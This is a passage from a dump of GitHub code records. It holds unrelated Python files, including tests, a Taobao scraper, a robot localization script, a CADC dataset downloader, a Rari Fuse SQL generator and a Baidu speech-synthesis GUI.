model_pb2.DnsRecordOperationOrder.Content.ModifyAddresses.Request.REMOVE\n\n\ndef test_waiting_for_dns_record_op(ctx, cache, zk_storage):\n dns_record = create_dns_record_removal(cache, zk_storage, model_pb2.DnsBackendsSelector.L3_BALANCERS)\n assert p.WaitingForDnsRecordOperation(dns_record).process(ctx).name == 'REMOVING_DNS_RECORD'\n\n\n@pytest.mark.parametrize('backend_type', (\n model_pb2.DnsBackendsSelector.BALANCERS,\n model_pb2.DnsBackendsSelector.L3_BALANCERS\n))\ndef test_removing_dns_record(ctx, cache, zk_storage, backend_type):\n dns_record = create_dns_record_removal(cache, zk_storage, backend_type)\n dns_record.pb.spec.deleted = True\n assert p.RemovingDnsRecord(dns_record).process(ctx).name == 'FINISHED'\n assert wait_until(lambda: cache.get_dns_record(NS_ID, DNS_RECORD_ID) is None)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/test_controllers/test_dns_record_ctls/test_dns_record_removal_processors.py","file_name":"test_dns_record_removal_processors.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40197456052","text":"#coding=utf-8\nimport re\nimport requests\n\nurl = 'https://s.taobao.com/search'\npayload = {'q': 'python','s': '1','ie':'utf8'} #字典传递url参数 \ntitle_list = []\nprice_list = []\nsales_list = []\nnick_list = []\n\nwith open('taobao_test.txt','w',encoding='utf-8') as file:\n\n for k in range(0,2): #2次，就是2个页的商品数据\n\n payload ['s'] = 44*k+1 #此处改变的url参数为s，s为1时第一页，s为45是第二页，89时第三页以此类推 \n resp = requests.get(url, params=payload)\n print('visiting:', resp.url) #打印访问的网址\n resp.encoding = 'utf-8' #设置编码\n title = re.findall(r'\"raw_title\":\"([^\"]+)\"', resp.text) #正则保存所有raw_title的内容，这个是书名，下面是价格，地址\n price = re.findall(r'\"view_price\":\"([^\"]+)\"', resp.text) \n loc = re.findall(r'\"item_loc\":\"([^\"]+)\"', resp.text)\n sales = re.findall(r'\"view_sales\":\"(\\d+)[^\"]+\"', resp.text)\n fee = re.findall(r'\"view_fee\":\"([^\"]+)\"', resp.text)\n nick = re.findall(r'\"nick\":\"([^\"]+)\"', resp.text)\n x = len(title) #每一页商品的数量\n\n for i in range(0,x) : #把列表的数据保存到文件中\n file.write(str(k*44+i+1)+'书名：'+title[i]+'\\n'+'价格：'+price[i]+'\\n'+'销量：'+sales[i]+'\\n'+'邮费:'+fee[i]+'\\n'+'店名：'+nick[i]+'\\n'+'地址：'+loc[i]+'\\n\\n')\n title_list.append(title[i])\n price_list.append(price[i])\n sales_list.append(int(sales[i]))\n nick_list.append(nick[i])\n\nsales_top = sales_list[0]\nsales_top_index = 0\nfor i in range(0, len(sales_list)):\n if sales_list[i]>sales_top:\n sales_top = sales_list[i]\n print(sales_top)\n sales_top_index = i\nprint('最畅销书本：', title_list[sales_top_index], '销量：', sales_top)","repo_name":"xushubo/learn-python","sub_path":"re-test1.py","file_name":"re-test1.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42087178363","text":"totalSenderNumber = 1\ntotalReceiverNumber = 1\ndefaultDataPacketSize = 36\nsenderTimeout = 2\n\n# receiver consts\noutFilePath = \"/home/soumalya/Desktop/MotherFolder/Assignment-5th-sem/Computer Networks/Assignment 2/StopNWait/output/\"\n\n# channel const\ndropOutProb = 0.1\ninjectErrorProb = 0.3\ndelayProb = 0.3\ndelay = 0.5 # in seconds\n\n\n\n","repo_name":"CubixPro/BCSE-III-Assignments","sub_path":"5th Semester/Computer Networks/Assignment 2/Soumalya/package/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"37903666150","text":"#determines where the robot is located.\ndef sense(p, Z, colors, sensor_right):\n #initialization\n q = []\n pHit = sensor_right;\n pMiss = 1 - sensor_right;\n #number of rows\n m = len(colors) \n #number of columns\n n = len(colors[0])\n #sum \n s = 0\n for i in range(m):\n temp = []\n \n for j in range(n):\n hit = (Z == colors[i][j]) \n #product \n temp.append(p[i][j] * (hit * pHit + (1-hit) * pMiss))\n q.append(temp)\n s = s + sum(temp) \n \n #normalization\n if(s != 0):\n for i in range(m):\n for j in range(n):\n q[i][j] = q[i][j] / s\n return q\n\n#moves the robot by U units.\ndef move(p, U, p_move, m, n):\n #initialization\n q = []\n pExact = p_move;\n pUndershoot = 1 - p_move;#probability of staying at the same location\n \n for i in range(m):\n temp = []\n \n for j in range(n):\n s = pExact * p[(i - U[0])% m][(j - U[1])% n]\n #convolution /addition\n s = s + pUndershoot * p[i][j]\n temp.append(s)\n q.append(temp)\n\n return q\n\n#p_move probablity that motion is correct\n#sensor_right probability that the sensor is correct \ndef localize(colors, measurements, motions, sensor_right, p_move):\n p = []\n #start with uniform distribution\n #number of rows\n m = len(colors) \n #number of columns\n n = len(colors[0])\n #size \n size = m * n;\n \n for i in range(m):\n temp = [];\n for j in range(n):\n temp.append(1/size);\n p.append(temp)\n \n\n for k in range(len(measurements)):\n p = move(p, motions[k], p_move, m, n)\n p = sense(p, measurements[k], colors, sensor_right) \n\n return p","repo_name":"ghormadesoham/AIForRobotics","sub_path":"Localization Class 1/localization_program.py","file_name":"localization_program.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74946627600","text":"import copy\n\na = ['a',\n 'b',\n 'c',\n 'd']\nb = copy.deepcopy(a)\nb[1] = 'kaka'\n\nprint('soso ' + \\\n 'ololo')\nprint(a)\nprint(b)\n\n# def eggs(someParameter):\n# someParameter.append('Hello')\n#\n#\n# spam = [1, 2, 3]\n# eggs(spam)\n# print(spam)\n\n# name = 'Sophie'\n# print(name[3])\n#\n# print('So' in name)\n# print('XXX' in name)\n# for letters in name:\n# print(letters)\n","repo_name":"jualshe/boringStuffPython","sub_path":"list_string.py","file_name":"list_string.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11734703313","text":"\"\"\"This module gets all assets from all Rari Fuse pools and outputs SQL for use in Dune Analytics\n\"\"\"\nimport json\n#import sys\n#import requests\nfrom brownie import Contract\n\n\ndef main():\n \"\"\"main\"\"\"\n all_assets = get_all_assets()\n query = generate_sql_query(all_assets)\n\n with open('rari.sql', 'w') as f:\n f.write(query)\n f.close()\n\n\ndef get_all_assets():\n \"\"\"Gets the pools from the FusePoolDirectory and gets the assets from each pool.\n The assets are returned as a list of tuples, which is appended to the existing list.\n Contract objects are stored as an alias to persist between sessions for speed up on subsequent runs.\n \"\"\"\n #Contract('FusePoolDirectory').set_alias(alias=None) #uncomment to clear contract aliases for troubleshooting\n try: \n Contract('FusePoolDirectory').alias\n except ValueError:\n Contract.from_explorer('0x835482FE0532f169024d5E9410199369aAD5C77E').set_alias('FusePoolDirectory', persist=True)\n\n fuse_pool_directory = Contract('0x835482FE0532f169024d5E9410199369aAD5C77E')\n all_pools = fuse_pool_directory.getAllPools()\n\n index = 0\n pool_start = 0 #skip pools & start here\n pool_count = 10000 #stop before index for this many pools\n all_assets = []\n for pool in all_pools:\n if index < pool_count and index >= pool_start:\n assets_return_val = get_assets_from_pool(index, pool[0], pool[2])\n all_assets += assets_return_val\n index += 1\n\n return all_assets\n\n\n\ndef get_assets_from_pool(pool_index, pool_name, comptroller):\n \"\"\"Gets the assets from the pool specified by comptroller.\n Returns a list of tuples, with each element containing the details of an asset in a pool.\n Contract objects are stored as an alias to persist between sessions for speed up on subsequent runs.\n \"\"\"\n #using a local copy of abi for speed & convenience. Retrieved from etherscan '0xE16DB319d9dA7Ce40b666DD2E365a4b8B3C18217'\n comptroller_abi = json.loads(open('interfaces/comptroller.json').read())\n #Contract('comptroller_' + comptroller).set_alias(alias=None) #uncomment to clear contract aliases for troubleshooting\n try: \n Contract('comptroller_' + comptroller).alias\n except ValueError:\n Contract.from_abi('Comptroller', comptroller, comptroller_abi).set_alias('comptroller_' + comptroller, persist=True)\n \n\n # nitialise the comptroller contract & grab the list of pool assets\n pool_contract = Contract('comptroller_' + comptroller)\n\n fuse_pool_assets = pool_contract.getAllMarkets()\n\n #using a local copy for speed & convenience. Retrieved from etherscan '0x67Db14E73C2Dce786B5bbBfa4D010dEab4BBFCF9'\n cerc20_abi = json.loads(open('interfaces/CErc20Delegate.json').read())\n #print(cerc20_abi)\n\n #loop through the data & store in list of tuples\n return_list = []\n for asset in fuse_pool_assets:\n #Contract('token_' + asset[0]).set_alias(alias=None) #uncomment to clear contract aliases for troubleshooting\n \n #get the ftoken object\n try: \n Contract('token_' + asset).alias\n except ValueError:\n #using local abi as etherscan isn't reliably detecting asset tokens as proxy contracts\n Contract.from_abi('CErc20Delegate', asset, cerc20_abi).set_alias('token_' + asset, persist=True)\n\n ftoken_contract = Contract('token_' + asset)\n \n #get the underlying token\n underlying = ftoken_contract.underlying()\n\n #change out wETH for ETH so that ERC20 methods work\n if underlying == '0x0000000000000000000000000000000000000000':\n underlying = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'\n\n try: \n Contract('token_' + underlying).alias\n except ValueError:\n #lazily using CErc20Delegate for underlying because it implements .name, .decimals, .symbol \n Contract.from_abi('CErc20Delegate', underlying, cerc20_abi).set_alias('token_' + underlying, persist=True)\n\n underlying_contract = Contract('token_' + underlying)\n # element schema (pool_index, pool_name, comptroller, asset_address, asset_name, asset_symbol \\\n # asset_decimals, underlying_address, underlying_name, underlying_symbol, underlying_decimals)\n \n #special case for MKR, non-ERC20 compliant causes int overflow as expected strings are stored as byte32\n if underlying == '0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2': \n element = (pool_index, pool_name, comptroller, asset, ftoken_contract.name(), \\\n ftoken_contract.symbol(), ftoken_contract.decimals(), underlying, \\\n 'Maker', 'MKR', underlying_contract.decimals())\n else:\n element = (pool_index, pool_name, comptroller, asset, ftoken_contract.name(), \\\n ftoken_contract.symbol(), ftoken_contract.decimals(), underlying, \\\n underlying_contract.name(), underlying_contract.symbol(), underlying_contract.decimals())\n\n print(element)\n return_list.append(element)\n \n return return_list\n\n #for element in return_list:\n # print(element)\n\n\ndef debug_tokens():\n \"\"\"Used to debug a troublesome token\"\"\"\n asset = '0x85b294139E77E7dE519A9bA9553D274d79E4812e'\n #using a local copy for speed & convenience. Retrieved from etherscan '0x67Db14E73C2Dce786B5bbBfa4D010dEab4BBFCF9'\n cerc20_abi = json.loads(open('interfaces/CErc20Delegate.json').read())\n\n try: \n Contract('token_' + asset).alias\n except ValueError:\n #using abi as etherscan isn't reliably detecting asset tokens as proxy contracts\n Contract.from_abi('CErc20Delegate', asset, cerc20_abi).set_alias('token_' + asset, persist=True)\n\n ftoken_contract = Contract('token_' + asset)\n print('ftoken - ' + asset)\n\n #get the underlying token\n underlying = ftoken_contract.underlying()\n\n #change out wETH for ETH so that ERC20 methods work\n if underlying == '0x0000000000000000000000000000000000000000':\n underlying = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'\n print('underlying - ' + underlying)\n try: \n Contract('token_' + underlying).alias\n except ValueError:\n #lazily using cERC20 for underlying because it implements .name, .decimals, .symbol correctly\n Contract.from_abi('CErc20Delegate', underlying, cerc20_abi).set_alias('token_' + underlying, persist=True)\n\n underlying_contract = Contract('token_' + underlying) \n\n \n print(ftoken_contract.name())\n print(ftoken_contract.symbol())\n print(ftoken_contract.decimals())\n print(underlying_contract.name())\n print(underlying_contract.symbol())\n print(underlying_contract.decimals())\n\n\ndef generate_sql_query(assets):\n \"\"\"Takes a list of tuples & formats to SQL text for use in Dune Analytics query\"\"\"\n\n sql_query_string = 'CREATE OR REPLACE VIEW dune_user_generated.rari_capital_fuse_ftokens (pool_index, pool_name, comptroller, ftoken_address, ftoken_name, ftoken_symbol, '\n sql_query_string += 'ftoken_decimals, underlying_address, underlying_name, underlying_symbol, underlying_decimals) AS VALUES \\n'\n\n index = 0\n for asset in assets:\n if index > 0:\n sql_query_string += ' , (' + str(asset[0]) + '::numeric, '\n else:\n sql_query_string += ' (' + str(asset[0]) + '::numeric, '\n sql_query_string += \"'\" + asset[1].replace(\"'\", \"''\") + \"'::text, \"\n sql_query_string += \"'\" + asset[2].replace(\"0x\", \"\\\\x\") + \"'::bytea, \"\n sql_query_string += \"'\" + asset[3].replace(\"0x\", \"\\\\x\") + \"'::bytea, \"\n sql_query_string += \"'\" + asset[4].replace(\"'\", \"''\") + \"'::text, \"\n sql_query_string += \"'\" + asset[5].replace(\"'\", \"''\") + \"'::text, \"\n sql_query_string += str(asset[6]) + \"::numeric, \"\n sql_query_string += \"'\" + asset[7].replace(\"0x\", \"\\\\x\") + \"'::bytea, \"\n sql_query_string += \"'\" + asset[8].replace(\"'\", \"''\") + \"'::text, \"\n sql_query_string += \"'\" + asset[9].replace(\"'\", \"''\") + \"'::text, \"\n sql_query_string += str(asset[10]) + \"::numeric\"\n sql_query_string += \")\\n\"\n index +=1\n sql_query_string += ';'\n\n\n return sql_query_string\n","repo_name":"scottincrypto/dune-rari-fuse-assets","sub_path":"rari_fuse_sql/scripts/fusepools.py","file_name":"fusepools.py","file_ext":"py","file_size_in_byte":8252,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"24794384318","text":"from .container import Container\nfrom ..schemas.employees import Employee as EmployeeSchema\n\n\nclass Employee(Container[EmployeeSchema]):\n path_attribute = \"\"\n order = \"id\"\n container_name = \"Persona\"\n schema_class = EmployeeSchema\n\n\n @property\n def base_params(self) -> dict:\n return {\n \"container\": self.container_name,\n \"order\": self.order\n }","repo_name":"lucaslucyk/nettime-py","sub_path":"nettime_py/containers/employees.py","file_name":"employees.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31934349016","text":"# Given the head of a singly linked list, reverse the list, and return the reversed list.\n#\n# Example 1:\n#\n# Input: head = [1,2,3,4,5]\n# Output: [5,4,3,2,1]\n#\n# Example 2:\n#\n# Input: head = [1,2]\n# Output: [2,1]\n#\n# Example 3:\n#\n# Input: head = []\n# Output: []\n#\n# Constraints:\n#\n# The number of nodes in the list is the range [0, 5000].\n# -5000 <= Node.val <= 5000\n#\n# Follow up: A linked list can be reversed either iteratively or recursively. Could you implement both?\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\n# 1) Iteration\n# Time O(n)\n# Space O(1)\nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not head or not head.next:\n return head\n\n cur = head\n while head.next:\n p = head.next\n head.next = p.next\n p.next = cur\n cur = p\n return cur # New head\n\n\n# 2) Recursion\n# Time O(n)\n# Space O(n)\n# https://leetcode.com/problems/reverse-linked-list/solution/\nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not head or not head.next:\n return head\n\n new_head = self.reverseList(head.next)\n head.next.next = head\n head.next = None\n return new_head\n","repo_name":"hongbo-miao/leetcode","sub_path":"Python/0206. Reverse Linked List.py","file_name":"0206. Reverse Linked List.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":197,"dataset":"github-code","pt":"3"} +{"seq_id":"29251552917","text":"from maps_adv.export.lib.pipeline.xml.tree.menu_items import MenuItems\n\n\ndef test_returns_expected_xml_string():\n menu_items = [\n dict(\n id=\"ac_879ac7cb6f48d8ef_11572\",\n pages=[\"navi_zero_speed_banner\", \"navi_zero_speed_banner/datatesting\"],\n style=\"campaign-11572_f9c49b9d38cf632a\",\n position=14,\n title=[dict(lang=\"ru\", value=\"16. İstanbul Bienali\")],\n search_text=\"\"\"{\"text\": \"\", \"ad\": {\"advert_tag_id\": \"search-tag_cid-hash_94629eb2f9a4d7f9309239c4bcb96f0c\"}}\"\"\", # noqa: E501\n companies=[123305157958, 1003909190],\n ),\n dict(\n id=\"ac_879ac7cb6f48d8ef_11573\",\n pages=[],\n style=\"campaign-11572_f9c49b9d38cf632a\",\n position=14,\n title=[dict(value=\"16. İstanbul Bienali 2\")],\n search_text=\"chain:1\",\n companies=[],\n ),\n ]\n\n result = str(MenuItems.from_iterable(menu_items))\n\n expected_xml = \"\"\"\n \n navi_zero_speed_banner\n navi_zero_speed_banner/datatesting\n \n 16. İstanbul Bienali\n {\"text\": \"\", \"ad\": {\"advert_tag_id\": \"search-tag_cid-hash_94629eb2f9a4d7f9309239c4bcb96f0c\"}}\n 14\n \n 123305157958\n 1003909190\n \n \n \n \n 16. İstanbul Bienali 2\n chain:1\n 14\n \n\n\"\"\" # noqa: E501\n\n assert str(result) == expected_xml\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/pipeline/xml/tree/test_menu_items.py","file_name":"test_menu_items.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37643761199","text":"#!/usr/bin/env python\nimport sys\nimport os\nimport argparse\nimport asyncio\nfrom genesynth.orchestration import *\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--filename', required=True, help='schema file')\nparser.add_argument('-o', '--output', help='output filename if given. defaults to input filename without extension')\nparser.add_argument('--stdout', action='store_true', help='print output to stdout')\n\ndef main(filename, output=None, stdout=False):\n if output is None:\n output, ext = os.path.splitext(os.path.basename(filename))\n pipe = Orchestration.read_config(filename)\n pipe.run()\n if stdout:\n asyncio.run(pipe.root.save())\n with open(pipe.root._file) as fh:\n for line in fh:\n sys.stdout.write(line)\n else:\n asyncio.run(pipe.root.save(output))\n\nif __name__ == '__main__':\n args = parser.parse_args()\n main(args.filename, args.output, args.stdout)\n","repo_name":"sterling312/genesynth","sub_path":"genesynth/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"18747307439","text":"import torch\nfrom utils.config import Config\nfrom models.CSPDetector import CSPDetector\nfrom data.build import build_dataloader\nfrom utils.util import write_\n\ndef main():\n cfg = Config()\n model =CSPDetector(cfg)\n train_dataset = build_dataloader(cfg,'train')\n val_dataset = build_dataloader(cfg,'test')\n best_ap = 0\n for epoch in range(cfg.enpoch):\n for iter_num,data in enumerate(train_dataset):\n img,annotations = data['img'].cuda().float(), data['annot']\n model.set_input(img,annotations)\n center_loss,scale_loss = model.optimize()\n print('Epoch: {} | Iteration: {} | center loss: {:1.5f} | scale loss: {:1.5f}'.format(epoch,\n iter_num, float(center_loss), float(scale_loss)))\n if epoch % cfg.eval_poch == 0:\n print('start eval×*×**×*×*×*×*×')\n recall,precision,ap = model.eval(val_dataset)\n if ap > best_ap:\n best_ap = ap\n message = \"epoch：{}\\nrecall：{:.4f},ap：{:.4f}\".format(epoch,recall,ap)\n write_(cfg.export_dir,cfg.dataname,message)\n\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"SouthMaiya/CSP_Detector","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"9076418416","text":"import logging\n\nimport wget\nfrom os.path import join\n\nfrom utils.types import *\nfrom utils.filesystem import mkdir, unzip\n\n\nCADC_ALL = {\n '2018_03_06': [\n '0001', '0002', '0005', '0006', '0008', '0009', '0010',\n '0012', '0013', '0015', '0016', '0018'\n ],\n '2018_03_07': [\n '0001', '0002', '0004', '0005', '0006', '0007'\n ],\n '2019_02_27': [\n '0002', '0003', '0004', '0005', '0006', '0008', '0009', '0010',\n '0011', '0013', '0015', '0016', '0018', '0019', '0020',\n '0022', '0024', '0025', '0027', '0028', '0030',\n '0031', '0033', '0034', '0035', '0037', '0039', '0040',\n '0041', '0043', '0044', '0045', '0046', '0047', '0049', '0050',\n '0051', '0054', '0055', '0056', '0058', '0059',\n '0060', '0061', '0063', '0065', '0066', '0068', '0070',\n '0072', '0073', '0075', '0076', '0078', '0079',\n '0080', '0082'\n ]\n}\n\n\nBASE_LINK = 'https://wiselab.uwaterloo.ca/cadcd_data/'\n\n\ndef list_cadc():\n logging.info(\"Available data in CADC dataset:\\n %s\" % CADC_ALL)\n logging.info(\"Dict for CADC should be provided in the same format as printed, \"\n \"with those dates and sequences which you want to \"\n \"download. e.g '{\\\"2018_03_06\\\": [\\\"0001\\\"]}'\")\n\n\ndef download_cadc(base_path: str, cadc_dict: dict):\n\n if not cadc_dict:\n cadc_dict = CADC_ALL\n\n base_path = join(base_path, \"cadc\")\n mkdir(base_path, True)\n\n logging.info(\"Downloading CADC dataset in directory %s\" % base_path)\n for date in cadc_dict:\n\n date_path = join(base_path, date)\n mkdir(date_path, True)\n logging.info(\"Date %s\" % date)\n\n calib_url = BASE_LINK + date + '/calib.zip'\n calib_filename = wget.download(calib_url, join(date_path, 'calib.zip'))\n unzip(calib_filename, True)\n\n for drive in cadc_dict[date]:\n\n drive_path = join(date_path, drive)\n mkdir(drive_path, True)\n logging.info(\"Drive %s\" % drive)\n\n base_url = BASE_LINK + date + '/' + drive\n\n ann_3d_url = base_url + '/3d_ann.json'\n wget.download(ann_3d_url, join(drive_path, \"3d_ann.json\"))\n\n data_url = base_url + '/labeled.zip'\n data_filename = wget.download(data_url, join(drive_path, \"labeled.zip\"))\n\n unzip(data_filename, True)\n","repo_name":"EmperorNao/sdc-emperornao","sub_path":"datasets/cadc/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36393987206","text":"import os\r\nimport requests\r\nimport tkinter as tk\r\nfrom tkactive import TkActive\r\n\r\n\r\nclass SpeechSynthesis():\r\n \"\"\"\r\n 该模块为语音合成的逻辑\r\n \"\"\"\r\n def __init__(self):\r\n # 发音人选择, 基础音库：0为度小美，1为度小宇，3为度逍遥，4为度丫丫，\r\n # 精品音库：5为度小娇，103为度米朵，106为度博文，110为度小童，111为度小萌，默认为度小美\r\n self.PER = 0\r\n # 语速，取值0-15，默认为5中语速\r\n self.SPD = 5\r\n # 音调，取值0-15，默认为5中语调\r\n self.PIT = 5\r\n # 音量，取值0-9，默认为5中音量\r\n self.VOL = 5\r\n # 下载的文件格式, 3：mp3(default) 4： pcm-16k 5： pcm-8k 6. wav\r\n self.AUE = 3\r\n\r\n FORMATS = {3: \"mp3\", 4: \"pcm\", 5: \"pcm\", 6: \"wav\"}\r\n self.FORMAT = FORMATS[self.AUE]\r\n\r\n self.CUID = \"123456PYTHON\"\r\n self.APIKEY = None\r\n self.SECRETKEY = None\r\n self.chats = None\r\n\r\n def getspeechsynthesis(self,filename=None,text=None,num=None,apikey=None,secretkey=None):\r\n\r\n \"\"\"\r\n 调用百度接口，合成语音\r\n param：{filename:生成的音频文件名称,text:所要转的字符文本,num:数字}\r\n return:None\r\n \"\"\"\r\n TOKEN_URL = 'http://openapi.baidu.com/oauth/2.0/token'\r\n params = {'grant_type': 'client_credentials',\r\n 'client_id': apikey,\r\n 'client_secret': secretkey\r\n }\r\n result = requests.get(TOKEN_URL,params=params).json()\r\n access_token = result[\"access_token\"]\r\n data = {'tok': access_token, 'tex': text, 'per': self.PER, 'spd': self.SPD, 'pit': self.PIT, 'vol': self.VOL, 'aue': self.AUE, 'cuid': self.CUID,\r\n 'lan': 'zh', 'ctp': 1} # lan ctp 固定参数\r\n headers = {\"content-type\":\"application/json\"}\r\n speech = requests.post('http://tsn.baidu.com/text2audio',headers=headers,data=data)\r\n with open(filename+str(num)+\".\"+self.FORMAT,\"wb\") as f:\r\n f.write(speech.content)\r\n\r\n def ergodic_file(self,ak=None,sk=None,filenames=None):\r\n for file_complete in filenames:\r\n file = file_complete.split(\"/\")[-1]\r\n num = 0\r\n bool = file.endswith(\"txt\")\r\n if bool or file.endswith(\"docx\"):\r\n if bool:\r\n file_prefix = file[:-4]\r\n else:\r\n file_prefix = file[:-5]\r\n if bool:\r\n f = open(file_complete, \"r\",encoding=\"utf-8\")\r\n while True:\r\n text = f.read(2048)\r\n if not text:\r\n f.close()\r\n break\r\n else:\r\n self.getspeechsynthesis(filename=file_prefix, text=text, num=num,apikey=ak,secretkey=sk)\r\n num += 1\r\n else:\r\n import docx\r\n f = docx.Document(file_complete)\r\n for paragraph in f.paragraphs:\r\n self.getspeechsynthesis(filename=file_prefix, text=paragraph.text, num=num,apikey=ak,secretkey=sk)\r\n num += 1\r\n\r\n copy_files = []\r\n for file_new in os.listdir(\".\"):\r\n if file_new.endswith(\"mp3\") and file_new.startswith(file_prefix):\r\n copy_files.append(file_new)\r\n parameter = \"+\".join(copy_files)\r\n status = os.system(\"copy /b {parameter} {file}.mp3\".format(parameter=parameter,file=file_prefix))\r\n if not status:\r\n for copy_file in copy_files:\r\n os.unlink(copy_file)\r\n\r\nclass TkStart(TkActive):\r\n \"\"\"\r\n 开始合成页面\r\n \"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n self.cv = tk.Canvas(self.basic_frame, width=200, height=200, bg=\"#800080\", border=0, highlightthickness=0)\r\n self.cv_ol = self.cv.create_oval(1, 1, 198, 198, fill=\"#EE82EE\", outline=\"#EE82EE\")\r\n\r\n self.label_cv_text = tk.StringVar(self)\r\n self.label_cv = tk.Label(self.cv, textvariable=self.label_cv_text, fg=\"black\", bg=\"#EE82EE\", font=(\"微软雅黑\", 20))\r\n self.label_cv_text.set(\"合成中\")\r\n #取消合成按钮\r\n self.synthesis_cancel = tk.Button(self.basic_frame,text=\"取消\",fg=\"black\", bg=\"red\", font=(\"微软雅黑\", 20),command=self.cancel)\r\n # 文字指针\r\n self.words_status = 0\r\n self.word_status_0_4 = True\r\n self.colors = [\"Violet\", \"Magenta\", \"Fuchsia\", \"DarkMagenta\", \"Purple\", \"MediumOrchid\", \"DarkViolet\",\r\n \"DarkOrchid\",\r\n \"Indigo\", \"BlueViolet\", \"MediumPurple\", \"SlateBlue\", \"DarkSlateBlue\", \"Lavender\", \"GhostWhite\",\r\n \"Blue\", \"MediumBlue\", \"MidnightBlue\", \"DarkBlue\", \"Navy\", 'RoyalBlue', 'CornflowerBlue',\r\n 'LightSteelBlue',\r\n 'LightSlateGray', 'SlateGray', 'DodgerBlue', 'AliceBlue', 'SteelBlue', 'LightSkyBlue', 'SkyBlue',\r\n 'DeepSkyBlue',\r\n 'LightBlue', 'PowderBlue', 'CadetBlue', 'Azure', 'LightCyan', 'PaleTurquoise', 'Cyan', 'Aqua',\r\n 'DarkTurquoise',\r\n 'DarkSlateGray', 'DarkCyan', 'Teal', 'MediumTurquoise', 'LightSeaGreen', 'Turquoise',\r\n 'Aquamarine', 'MediumAquamarine',\r\n 'MediumSpringGreen', 'MintCream', 'SpringGreen', 'MediumSeaGreen', 'SeaGreen', 'Honeydew',\r\n 'LightGreen', 'PaleGreen',\r\n 'DarkSeaGreen', 'LimeGreen', 'Lime', 'ForestGreen', 'Green', 'DarkGreen', 'Chartreuse',\r\n 'LawnGreen', 'GreenYellow',\r\n 'DarkOliveGreen', 'YellowGreen', 'OliveDrab', 'Beige', 'LightGoldenrodYellow', 'Ivory',\r\n 'LightYellow', 'Yellow',\r\n 'Olive', 'DarkKhaki', 'LemonChiffon', 'PaleGoldenrod', 'Khaki', 'Gold', 'Cornsilk', 'Goldenrod',\r\n 'DarkGoldenrod',\r\n 'FloralWhite', 'OldLace', 'Wheat', 'Moccasin', 'Orange']\r\n # 颜色指针\r\n self.color_index = 0\r\n self.color_status_0_86 = True\r\n #停止状态指针\r\n self.run_status = True\r\n #over_button\r\n self.over_button = tk.Button(self.basic_frame,text=\"确定\",fg=\"black\", bg=\"green\", font=(\"微软雅黑\", 20),command=self.show_select_files)\r\n self.over_button_tips = tk.Label(self.basic_frame, text=\"完成!\", fg=\"black\", bg=\"#800080\", font=(\"微软雅黑\", 50))\r\n def noshow_select(self):\r\n super().noshow_key()\r\n self.run_button.place_forget()\r\n self.chats_listbox.place_forget()\r\n self.select_button.place_forget()\r\n self.delete_button.place_forget()\r\n self.chat_scrollbar_vertical.pack_forget()\r\n self.chat_scrollbar_horizontal.pack_forget()\r\n # 语音合成按钮\r\n self.start_button.place_forget()\r\n self.chats_listbox_tips.place_forget()\r\n\r\n def start(self):\r\n self.label_cv.place(relx=0.28, rely=0.35)\r\n self.cv.place(relx=0.3, rely=0.3)\r\n self.synthesis_cancel.place(relx=0.75,rely=0.45)\r\n #隐藏选择框\r\n self.noshow_select()\r\n #动态图\r\n self.displayColor()\r\n #调用合成api\r\n self.after(1000,self.synthesis)\r\n\r\n def synthesis(self):\r\n synthesis = SpeechSynthesis()\r\n synthesis.ergodic_file(ak=self.APIKEY, sk=self.SECRETKEY, filenames=self.chats)\r\n self.label_cv.place_forget()\r\n self.cv.place_forget()\r\n self.synthesis_cancel.place_forget()\r\n\r\n self.over_button.place(relx=0.45,rely=0.5)\r\n self.over_button_tips.place(relx=0.39,rely=0.3)\r\n\r\n def show_select_files(self):\r\n super().show_select_files()\r\n self.over_button_tips.place_forget()\r\n self.over_button.place_forget()\r\n self.chats.clear()\r\n self.chats_listbox.delete(0,tk.END)\r\n\r\n def cancel(self):\r\n self.run_status = False\r\n self.destroy()\r\n return TkVoice()\r\n\r\n def run(self):\r\n self.mainloop()\r\n\r\n def displayColor(self):\r\n if self.run_status == True:\r\n\r\n self.cv.itemconfigure(self.cv_ol, 